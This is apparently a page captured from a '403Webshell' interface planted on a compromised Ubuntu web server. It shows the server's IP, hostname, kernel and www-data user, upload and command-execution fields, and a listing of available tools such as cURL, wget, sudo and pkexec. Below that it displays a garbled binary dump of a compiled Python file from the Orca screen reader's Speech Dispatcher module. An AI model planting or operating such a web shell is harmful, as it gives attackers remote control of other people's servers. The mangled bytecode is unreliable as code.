403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/orca/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/orca/__pycache__/speechdispatcherfactory.cpython-310.pyc
o

S�b�h�@s0dZdZdZdZdZdZdZddlmZdd	l	Z	dd	l
Z
d
dlmZd
dlm
Z
d
d
lmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZd
dlmZe��Zzdd	lZWndZYndZzeed�Wney~dZYnwdZe	�de	j�Z e	�d�Z!Gdd�dej"�Z"d	S)z=Provides an Orca speech server for Speech Dispatcher backend.z$Id$z
$Revision$z$Date$z Tomas Cerha <cerha@brailcom.org>z(Copyright (c) 2006-2008 Brailcom, o.p.s.�LGPL�)�GLibN�)�chnames)�debug)�	guilabels)�messages)�speechserver)�settings)�
orca_state)�punctuation_settings)�settings_manager)�ACSSFT�CallbackTypez[^\w\s]u"(…|(?<!\.)\.{3,4}(?=(\s|\Z)))cs�eZdZiZdZeejiZedd��Z	edd��Z
edd��ZedXd	d
��Z
edd��Z�fd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �ZdYd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�ZdZd/d0�ZdZd1d2�Z dZd3d4�Z!d5d6�Z"d7d8�Z#d[d:d;�Z$d<d=�Z%dXd>d?�Z&dXd@dA�Z'd\dCdD�Z(d\dEdF�Z)d]dHdI�Z*d]dJdK�Z+d]dLdM�Z,d]dNdO�Z-dPdQ�Z.dRdS�Z/d^dTdU�Z0dVdW�Z1�Z2S)_�SpeechServer�defaultcCstjS�N)r�SPEECH_DISPATCHER�rr�>/usr/lib/python3/dist-packages/orca/speechdispatcherfactory.py�getFactoryNameOszSpeechServer.getFactoryNamecCsDg}t�tj�}|dur |�|�|��D]
}|�t�|��q|Sr)r�_getSpeechServer�DEFAULT_SERVER_ID�append�list_output_modules)�serversr�modulerrr�getSpeechServersSs
zSpeechServer.getSpeechServerscCs||jvr	||�|j�|�S)z�Return an active server for given id.

        Attempt to create the server if it doesn't exist yet.  Returns None
        when it is not possible to create the server.
        
        )�_active_servers�get)�cls�serverIdrrrr]s
zSpeechServer._getSpeechServerNcCs |dur|dntj}t�|�S)Nr)rrr)�info�thisIdrrr�getSpeechServerks
zSpeechServer.getSpeechServercCs*dd�tj��D�}|D]}|��qdS)NcSsg|]}|�qSrr)�.0�srrr�
<listcomp>rsz6SpeechServer.shutdownActiveServers.<locals>.<listcomp>)rr�values�shutdown)r�serverrrr�shutdownActiveServersps
�z"SpeechServer.shutdownActiveServerscs\tt|���||_d|_i|_tj|jftj	|j
ftj|jftj
|jff|_ts5d}t�tj|d�dStsCd}t�tj|d�dSztjj}Wntjj}Ytjtjjtj|tjtjjtjtjji|_ tj!j"t#j$j%tj!j&t#j$j'tj!j(t#j$j)tj!j*t#j$j%i|_+t,j-||_.z|�/�Wnt�0tj�d}t�tj|d�Yn|tj1|<d|_2dS)Nz)ERROR: Speech Dispatcher is not availableTz<ERROR: Speech Dispatcher version 0.6.2 or later is required.z2ERROR: Speech Dispatcher service failed to connect)3�superr�__init__�_id�_client�_current_voice_propertiesr�RATE�	_set_rate�
AVERAGE_PITCH�
_set_pitch�GAIN�_set_volume�FAMILY�_set_family�_acss_manipulators�_speechd_availabler�println�
LEVEL_WARNING�_speechd_version_ok�speechd�PunctuationMode�MOST�SOMEr
�PUNCTUATION_STYLE_ALL�ALL�PUNCTUATION_STYLE_MOST�PUNCTUATION_STYLE_SOME�PUNCTUATION_STYLE_NONE�NONE�_PUNCTUATION_MODE_MAPr�BEGINr	�
SayAllContext�PROGRESS�CANCEL�INTERRUPTED�END�	COMPLETED�
INDEX_MARK�_CALLBACK_TYPE_MAPr�SPEECH_DEFAULT_VOICE�_default_voice_name�_init�printExceptionr�_lastKeyEchoTime)�selfr!�msg�most��	__class__rrr-xsP



�



��

zSpeechServer.__init__cCsjtjd|jd�|_}|�tjj�|j|jkr|�|j�i|_	|j
tj}|�
|�|�tjj�dS)N�Orca)�	component)r>�
SSIPClientr.r/�set_priority�Priority�MESSAGEr�set_output_moduler0rHr
�verbalizePunctuationStyle�set_punctuation�
set_data_mode�DataMode�SSML)rW�client�moderrrrT�s
zSpeechServer._initcCs�tjtjkr	d}ntjtjkrd}nd}z	|j�|�WdStjy<d}t�	tj
|d�|��|j�|�YdSYdS)z;Updates the capitalization style used by the speech server.�icon�spell�none�8SPEECH DISPATCHER: Connection lost. Trying to reconnect.TN)r
�capitalizationStyle�CAPITALIZATION_STYLE_ICON�CAPITALIZATION_STYLE_SPELLr/�set_cap_let_recognr>�SSIPCommunicationErrorrr;�
LEVEL_INFO�reset)rW�stylerXrrr�updateCapitalizationStyle�sz&SpeechServer.updateCapitalizationStylecCs|jtj}|j�|�dS)z6 Punctuation level changed, inform this speechServer. N)rHr
rcr/rd)rWrirrr�updatePunctuationLevel�sz#SpeechServer.updatePunctuationLevelcOsZz||i|��WStjy'd}t�tj|d�|��||i|��YSYdS)NrmT)r>rrrr;rsrt)rW�command�args�kwargsrXrrr�
_send_command�szSpeechServer._send_commandcC�0tdtdtd|��d�}|�|jj|�dS)N�r�c�b)�int�max�minr{r/�set_rate)rW�	acss_rate�raterrrr2��zSpeechServer._set_ratecCr|)N�r�	�Z)r�r�r�r{r/�	set_pitch)rW�
acss_pitch�pitchrrrr4�r�zSpeechServer._set_pitchcCr|)N�rr��#)r�r�r�r{r/�
set_volume)rW�acss_volume�volumerrrr6�r�zSpeechServer._set_volumecCsz|duri}|�tjj�}|�tjj�}|s9ddl}|��\}}d\}}|r9|�d�}|d}t|�dkr9|d}||fS)Nr)�r��_r}r)	rr	�VoiceFamily�LANG�DIALECT�locale�getdefaultlocale�split�len)rW�acss_family�language�dialectr��familyLocale�encoding�localeValuesrrr�_get_language_and_dialect�s
z&SpeechServer._get_language_and_dialectcCs�|�|�\}}|r|�|jj|�|r|�|jj|d|�z|jj}Wn
ty/YdSw|�tjj	�}||j
krD|�||�dSdS)N�-)r�r{r/�set_language�set_synthesis_voice�AttributeErrorrr	r��NAMErS)rWr��langr�r��namerrrr8�s�
�zSpeechServer._set_familyr�c
Cs�tjtjkrdSz|�|jj�}|�|jj�}|�|jj�}|�|jj�}Wnd}}}}Y|j	�
tj�}t
jdt
jdt
jdt
jdi}|j	}d||j	�
tj�|j	�
tj�|j	�
tj�|�|�d|�
t�d��||||f
}	t�tj|	d	�dS)
Nz(exception occurred)rGrAr@rCz�SPEECH DISPATCHER: %s
ORCA rate %s, pitch %s, volume %s, language %s, punctuation: %s 
SD rate %s, pitch %s, volume %s, language %srrcT)r�
debugLevelrsr{r/�get_rate�	get_pitch�
get_volume�get_languager0rrr7r
rFrErDrBr1r3r5r��_settingsManager�
getSettingr;)
rW�prefix�sd_rate�sd_pitch�	sd_volume�sd_language�family�styles�currentrXrrr�_debug_sd_valuess<���
zSpeechServer._debug_sd_valuescCs�|dur
tjtj}|j}|jD]T\}}|�|�}|dur-|�|�|kr,||�|||<q|tjkr;|d�d||<q|tjkrI|d�d||<q|tj	krW|d�d||<q|tj
krd|i�i||<qdS)Ng@�
�2)r
�voices�
DEFAULT_VOICEr0r9rrr3r5r1r7)rW�acssr��
acss_property�method�valuerrr�_apply_acss.s0
�






��zSpeechServer._apply_acssc
Cs�t�d�}|tjkr|Stjd}t�t||�}t	t�
t|��}|D].}z	t�
|�\}}WnYq"|tjkr9q"dt�|�}	|tjkrI|	|7}	t�||	|�}q"tjr[tjj�|�}|S)a�Depending upon the users verbalized punctuation setting,
        adjust punctuation symbols in the given text to their pronounced
        equivalents. The pronounced text will either replace the
        punctuation symbol or be inserted before it. In the latter case,
        this is to retain spoken prosity.

        Arguments:
        - oldText: text to be parsed for punctuation.

        Returns a text string with the punctuation symbols adjusted accordingly.
        rc� z %s )r�r�r
rFr�SPOKEN_ELLIPSIS�re�sub�ELLIPSIS�set�findall�PUNCTUATIONr�getPunctuationInfo�
LEVEL_NONEr�getCharacterName�PUNCTUATION_INSERTr�activeScript�	utilities�adjustForDigits)
rW�oldTextru�spokenEllipsis�newText�symbols�symbol�level�action�charNamerrr�__addVerbalizedPunctuationEs(




z'SpeechServer.__addVerbalizedPunctuationcKsvt|t�rd}d}d}d}g}g}d}	tt|��D]�}
||
}|dkr$q|��s7|dkr7|	d7}	|
}|��}na|��r�|dkr�|rt|
dt|��D]
}||��sTnqJd}|r|t|�kr||��s||��smd}|d7}|r|t|�kr||��re|s�|�|�|�|
�d}d}n|r�|��s�d}|	|7}	q|dkr�|�|�|�|
d�|	}|�|�}tj	r�tj	j
�|�}|�dd�}|�dd�}d	}
d
}
|D]L}|dkr�|
t|�kr�d|
}t
�t
j|d�n|
d
||
||
f7}
|
d7}
q�|dk�r|
d7}
q�|dk�r|
d7}
q�|dk�r|
d7}
q�|
|7}
q�|
d7}
|�|�|�d|
�|j|jj|
fi|��dS)Nr�urF� r�z
.�
z<speak>rz-%uth U+E000 does not have corresponding indexTz<mark name="%u:%u"/>�<z&lt;�>z&gt;�&z&amp;z</speak>zSpeaking '%s' )�
isinstancer�ranger��isspace�	isnumericr�'_SpeechServer__addVerbalizedPunctuationrr�r��adjustForPronunciation�replacerr;r<r�r�r{r/�speak)rW�textr�rz�
last_begin�last_end�
is_numeric�
marks_offsets�marks_endoffsets�marked_text�i�c�j�ssmlrXrrr�_speakns�

��

�


�








zSpeechServer._speakcs\zt��\�}Wn
tyYdSwd����fdd�	}�j�j||t�j���d�dS)zLProcess another sayAll chunk.

        Called by the gidle thread.

        Ncs��j|}|tjjkrM|rE|�d�}t|�dkrD|dd�\}}�jt|��_�jt|��_	d�j�j	�j�j
f}t�tj
|d�n�j�_d�_	n
|tjjkrZ�j
�_d�_	t���|�|tjjkrqt��j���dSdS)N�:r}rz)SPEECH DISPATCHER: Got mark %d:%d / %d-%dT)rQr	rJrKr�r��startOffsetr��
currentOffset�currentEndOffset�	endOffsetrr;rsrOr�idle_add�_say_all)�callbackType�
index_mark�t�index�start�endrX��context�iterator�
orca_callbackrWrr�callback�s0

����z'SpeechServer._say_all.<locals>.callback)r�event_typesFr)�next�
StopIterationr��	utterance�listrQ�keys)rWrrr�rrrrr��s��zSpeechServer._say_allcCs|�|jj�dSr)r{r/�cancel�rWrrr�_cancel�zSpeechServer._cancelFcC�tjtj}||rdpd}z|tj}Wnty d}Ynwtdtd||��|tj<d|}t�	tj
|d�|j|rAtj
pCtj|d�dS)	N���rr�rr~z!SPEECH DISPATCHER: Rate set to %dT�r�)r
r�r�rr1�KeyErrorr�r�rr;rsr�r�
SPEECH_SLOWER�
SPEECH_FASTER)rW�step�decreaser��deltar�rXrrr�_change_default_speech_rate��
�z(SpeechServer._change_default_speech_ratecCr)	Nrr�rr�z"SPEECH DISPATCHER: Pitch set to %dTr)r
r�r�rr3rr�r�rr;rsr�r�SPEECH_LOWER�
SPEECH_HIGHER)rWrrr�rr�rXrrr�_change_default_speech_pitchrz)SpeechServer._change_default_speech_pitchcCr)	Nrrr�rr�z#SPEECH DISPATCHER: Volume set to %dTr)r
r�r�rr5rr�r�rr;rsr�r�
SPEECH_SOFTER�
SPEECH_LOUDER)rWrrr�rr�rXrrr�_change_default_speech_volume"rz*SpeechServer._change_default_speech_volumecCs|j�|j|j�|jgSr)�
_SERVER_NAMESrr.rrrr�getInfo/szSpeechServer.getInfoc
CsJddlm}m}||�d}|dusd|vrd}n
|�d�\}}|d|}d}z|jj}Wn	ty7Ynwz	||�|�7}WnYd}	|rn|D]
\}
}}||krY|}	nqL|	sj|D]\}
}}||kri|}	q^|	sn|}	|j|	dff|}g}
|D]'\}
}}|
�	t
�t
jj|
t
jj
|�d�dt
jj|�d�dt
jj|i��q{|
S)Nr)�	getlocale�LC_MESSAGESr�r�rr�r})r�r#r$r�r/�list_synthesis_voicesr�r{rSrr	r�r�r��	partitionr��VARIANT)rWr#r$r��locale_language�locale_lang�locale_dialectr�r%�default_langr�r��variant�familiesrrr�getVoiceFamilies2sP���
�zSpeechServer.getVoiceFamiliesTcCs4|jr|o
t��|jdk}|r|�||�dSdS)N��?)rV�timer�)rWr�r��	interruptrrrr�ds
�zSpeechServer.speakcCst�|j||�dSr)rr�r�)rW�utteranceIterator�progressCallbackrrr�sayAllxszSpeechServer.sayAllcCsX|�|�t�|�}|r||kr|�|jj|�dStjr$tjj�	|�}|�
||�dSr)r�rr�r{r/�charrr�r�r�r�)rW�	characterr�r�rrr�speakCharacter{s

�zSpeechServer.speakCharactercCsL|��}tjrtjj�|�}|��}d||f}|j||d�t��|_dS)Nz%s %sr)	�
getKeyNamerr�r�r��getLockingStateStringr�r0rV)rW�eventr��event_string�lockingStateStringrrr�
speakKeyEvent�s�zSpeechServer.speakKeyEventrcC�|�|�dSr�r�rWrrrr�increaseSpeechRate��zSpeechServer.increaseSpeechRatecC�|j|dd�dS�NT)rr?r@rrr�decreaseSpeechRate�rzSpeechServer.decreaseSpeechRater/cCr>r�rr@rrr�increaseSpeechPitch�rBz SpeechServer.increaseSpeechPitchcCrCrDrFr@rrr�decreaseSpeechPitch�rz SpeechServer.decreaseSpeechPitchcCr>r�r r@rrr�increaseSpeechVolume�rBz!SpeechServer.increaseSpeechVolumecCrCrDrIr@rrr�decreaseSpeechVolume�rz!SpeechServer.decreaseSpeechVolumecCs|��dSr)r
rrrr�stop�szSpeechServer.stopcCs|j��tj|j=dSr)r/�closerrr.rrrrr)�s
zSpeechServer.shutdowncCs|j��|��dSr)r/rMrT)rWr�r�rrrrt�s
zSpeechServer.resetcCs:z|�|jj�WStyYdStjyYdSw)aYReturn names of available output modules as a tuple of strings.

        This method is not a part of Orca speech API, but is used internally
        by the Speech Dispatcher backend.
        
        The returned tuple can be empty if the information can not be
        obtained (e.g. with an older Speech Dispatcher version).
        
        r)r{r/rr�r>�SSIPCommandErrorrrrrr�s
�z SpeechServer.list_output_modulesr)r�)F)NNT)r)r/)NN)3�__name__�
__module__�__qualname__rrr�DEFAULT_SYNTHESIZERr!�staticmethodrr�classmethodrr$r+r-rTrvrwr{r2r4r6r�r8r�r�r�r�r�r
rrr r"r.r�r4r7r=rArErGrHrJrKrLr)rtr�
__classcell__rrrZrrGsb


	


3

#)o(





2








r)#�__doc__�__id__�__version__�__date__�
__author__�
__copyright__�__license__�
gi.repositoryrr�r0r�rrrrr	r
rrr
r�r�
getManagerr�r>r:�getattrr�r=�compile�UNICODEr�r�rrrrr�<module>sF�


Youez - 2016 - github.com/yon3zu
LinuXploit